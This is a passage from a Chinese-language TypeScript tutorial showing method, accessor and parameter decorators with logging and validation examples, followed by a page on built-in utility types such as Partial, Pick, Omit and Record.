  // Demo装饰静态方法
  @Demo static isAdult(age:number) {
    return age >= 18;
  }
}

const p1 = new Person('张三',18)
p1.speak()
```

### 应用举例

> 需求：
>
> 1. 定义一个`Logger`方法装饰器，用于在方法执行前和执行后，均追加一些额外逻辑。
> 2. 定义一个`Validate`方法装饰器，用于验证数据。

```ts
function Logger(target: object, propertyKey: string, descriptor: PropertyDescriptor){
  // 保存原始方法
  const original = descriptor.value;
  // 替换原始方法
  descriptor.value = function (...args:any[]) {
    console.log(`${propertyKey}开始执行......`)
    const result = original.call(this, ...args)
    console.log(`${propertyKey}执行完毕......`)
    return result;
  }
}

function Validate(maxValue:number){
  return function (target: object, propertyKey: string, descriptor: PropertyDescriptor){
    // 保存原始方法
    const original = descriptor.value;
    // 替换原始方法
    descriptor.value = function (...args: any[]) {
      // 自定义的验证逻辑
      if (args[0] > maxValue) {
        throw new Error('年龄非法！')
      }
      // 如果所有参数都符合要求，则调用原始方法
      return original.apply(this, args);
    };
  }
}

class Person {
  constructor(
    public name:string,
    public age:number,
  ){}
  @Logger speak(){
    console.log(`你好，我的名字：${this.name}，我的年龄：${this.age}`)
  }
  @Validate(120)
  static isAdult(age:number) {
    return age >= 18;
  }
}

const p1 = new Person('张三',18)
p1.speak()
console.log(Person.isAdult(100))

```

## 访问器装饰器

### 基本语法

```ts
/* 
  参数说明：
    ○ target: 
        1. 对于实例访问器来说值是【所属类的原型对象】。
        2. 对于静态访问器来说值是【所属类】。
    ○ propertyKey:访问器的名称。
    ○ descriptor: 描述对象。
*/
function Demo(target: object, propertyKey: string, descriptor: PropertyDescriptor) {
  console.log(target)
  console.log(propertyKey)
  console.log(descriptor)
}

class Person {
  @Demo
  get address(){
    return '北京宏福科技园'
  }
  @Demo
  static get country(){
    return '中国'
  }
}
```

### 应用举例

> 需求：对`Weather`类的`temp`属性的`set`访问器进行限制，设置的最低温度`-50`，最高温度`50`

```ts
function RangeValidate(min: number, max: number) {
  return function (target: object, propertyKey: string, descriptor: PropertyDescriptor) {
    // 保存原始的 setter 方法，以便在后续调用中使用
    const originalSetter = descriptor.set;

    // 重写 setter 方法，加入范围验证逻辑
    descriptor.set = function (value: number) {
      // 检查设置的值是否在指定的最小值和最大值之间
      if (value < min || value > max) {
        // 如果值不在范围内，抛出错误
        throw new Error(`${propertyKey}的值应该在 ${min} 到 ${max}之间！`);
      }
      
      // 如果值在范围内，且原始 setter 方法存在，则调用原始 setter 方法
      if (originalSetter) {
        originalSetter.call(this, value);
      }
    };
  };
}

class Weather {
  private _temp: number;
  constructor(_temp: number) {
    this._temp = _temp;
  }
  // 设置温度范围在 -50 到 50 之间
  @RangeValidate(-50,50) 
  set temp(value) {
    this._temp = value;
  }
  get temp() {
    return this._temp;
  }
}

const w1 = new Weather(25);
console.log(w1)
w1.temp = 67
console.log(w1)
```

## 参数装饰器

### 基本语法

```ts
/* 
  参数说明：
    ○ target:
      1.如果修饰的是【实例方法】的参数，target 是类的【原型对象】。
      2.如果修饰的是【静态方法】的参数，target 是【类】。
    ○ propertyKey：参数所在的方法的名称。
    ○ parameterIndex: 参数在函数参数列表中的索引，从 0 开始。
*/
function Demo(target: object, propertyKey: string, parameterIndex: number) {
  console.log(target)
  console.log(propertyKey)
  console.log(parameterIndex)
}

// 类定义
class Person {
  constructor(public name: string) { }
  speak(@Demo message1: any, mesage2: any) {
    console.log(`${this.name}想对说：${message1}，${mesage2}`);
  }
}
```

### 应用举例

> 需求：定义方法装饰器`Validate`，同时搭配参数装饰器`NotNumber`，来对`speak`方法的参数类型进行限制。

```ts
function NotNumber(target: any, propertyKey: string, parameterIndex: number) {
  // 初始化或获取当前方法的参数索引列表
  let notNumberArr: number[] = target[`__notNumber_${propertyKey}`] || [];
  // 将当前参数索引添加到列表中
  notNumberArr.push(parameterIndex);
  // 将列表存储回目标对象
  target[`__notNumber_${propertyKey}`] = notNumberArr;
}

// 方法装饰器定义
function Validate(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
  const method = descriptor.value;
  descriptor.value = function (...args: any[]) {
    // 获取被标记为不能为空的参数索引列表
    const notNumberArr: number[] = target[`__notNumber_${propertyKey}`] || [];
    // 检查参数是否为 null 或 undefined
    for (const index of notNumberArr) {
      if (typeof args[index] === 'number') {
        throw new Error(`方法 ${propertyKey} 中索引为 ${index} 的参数不能是数字！`)
      }
    }
    // 调用原始方法
    return method.apply(this, args);
  };

  return descriptor;
}

// 类定义
class Student {
  name: string;
  constructor(name: string) {
    this.name = name;
  }
  @Validate
  speak(@NotNumber message1: any, mesage2: any) {
    console.log(`${this.name}想对说：${message1}，${mesage2}`);
  }
}

// 使用
const s1 = new Student("张三");
s1.speak(100, 200);
```

---

---
url: /ts/t808nols/index.md
---
# 常用工具类型
在日常开发中，TypeScript 为我们提供了许多内置的 **工具类型（Utility Types）**，它们本质上是基于泛型和映射类型的封装，能帮助我们快速地从已有类型中派生出新的类型。

### `Partial<T>`

将类型 `T` 的所有属性变为 **可选**。

```ts
interface User {
  id: number;
  name: string;
}

type PartialUser = Partial<User>;
// { id?: number; name?: string }
```

常用场景：定义更新数据的参数（不需要传全量）。

### `Required<T>`

将类型 `T` 的所有属性变为 **必填**。

```ts
interface User {
  id?: number;
  name?: string;
}

type StrictUser = Required<User>;
// { id: number; name: string }
```

### `Readonly<T>`

将类型 `T` 的所有属性变为 **只读**。

```ts
interface User {
  id: number;
  name: string;
}

type FrozenUser = Readonly<User>;
// { readonly id: number; readonly name: string }
```

### `Pick<T, K>`

从类型 `T` 中挑选某些属性，形成新类型。

```ts
interface User {
  id: number;
  name: string;
  email: string;
}

type UserPreview = Pick<User, "id" | "name">;
// { id: number; name: string }
```

### `Omit<T, K>`

从类型 `T` 中去掉某些属性，形成新类型。

```ts
interface User {
  id: number;
  name: string;
  password: string;
}

type PublicUser = Omit<User, "password">;
// { id: number; name: string }
```

### `Record<K, T>`

构造一个对象类型，键是 `K`，值是 `T`。

```ts
type Role = "admin" | "user" | "guest";
type Permissions = Record<Role, boolean>;
// { admin: boolean; user: boolean; guest: boolean }
```

### `Exclude<T, U>`

从联合类型 `T` 中排除能赋值给 `U` 的部分。

```ts
type T = "a" | "b" | "c";
type WithoutB = Exclude<T, "b">;
// "a" | "c"
```

### `Extract<T, U>`

从联合类型 `T` 中提取能赋值给 `U` 的部分。

```ts
type T = "a" | "b" | "c";
type OnlyB = Extract<T, "b" | "x">;
// "b"
```

### `NonNullable<T>`

去掉 `null` 和 `undefined`。

```ts
type T = string | null | undefined;
type SafeT = NonNullable<T>;
// string
```

### `ReturnType<T>`

获取函数返回值的类型。

```ts
function getUser() {
  return { id: 1, name: "Alice" };
}

type User = ReturnType<typeof getUser>;
// { id: number; name: string }
```

### `Parameters<T>`

获取函数参数的类型，返回一个元组。

```ts
function greet(name: string, age: number) {}

type Params = Parameters<typeof greet>;
// [name: string, age: number]
```

### `ConstructorParameters<T>`

获取构造函数的参数类型，返回一个元组。

```ts
class User {
  constructor(public id: number, public name: string) {}
}

type Params = ConstructorParameters<typeof User>;
// [id: number, name: string]
```

### `InstanceType<T>`

获取构造函数实例的类型。

```ts
class User {
  constructor(public id: number, public name: string) {}
}

type UserInstance = InstanceType<typeof User>;
// User
```

### `ThisType<T>`

为对象字面量指定 `this` 的类型。常用于 mixin 模式。

```ts
type Helper = { name: string };
let obj: ThisType<Helper> & { greet(): void } = {
  greet() {
    console.log(this.name); // this 被推断为 Helper
  },
};
```

### `Awaited<T>`

获取 `Promise` 中的解析值类型（TS4.5+）。

```ts
type A = Awaited<Promise<string>>; // string
type B = Awaited<Promise<Promise<number>>>; // number
```

### `ReadonlyArray<T>`

一个数组的只读版本。

```ts
const arr: ReadonlyArray<number> = [1, 2, 3];
arr[0] = 10; // ❌ 报错，不能修改
```

### `ReadonlyMap<K, V>`

### `ReadonlySet<T>`

只读的 Map 和 Set，避免误操作。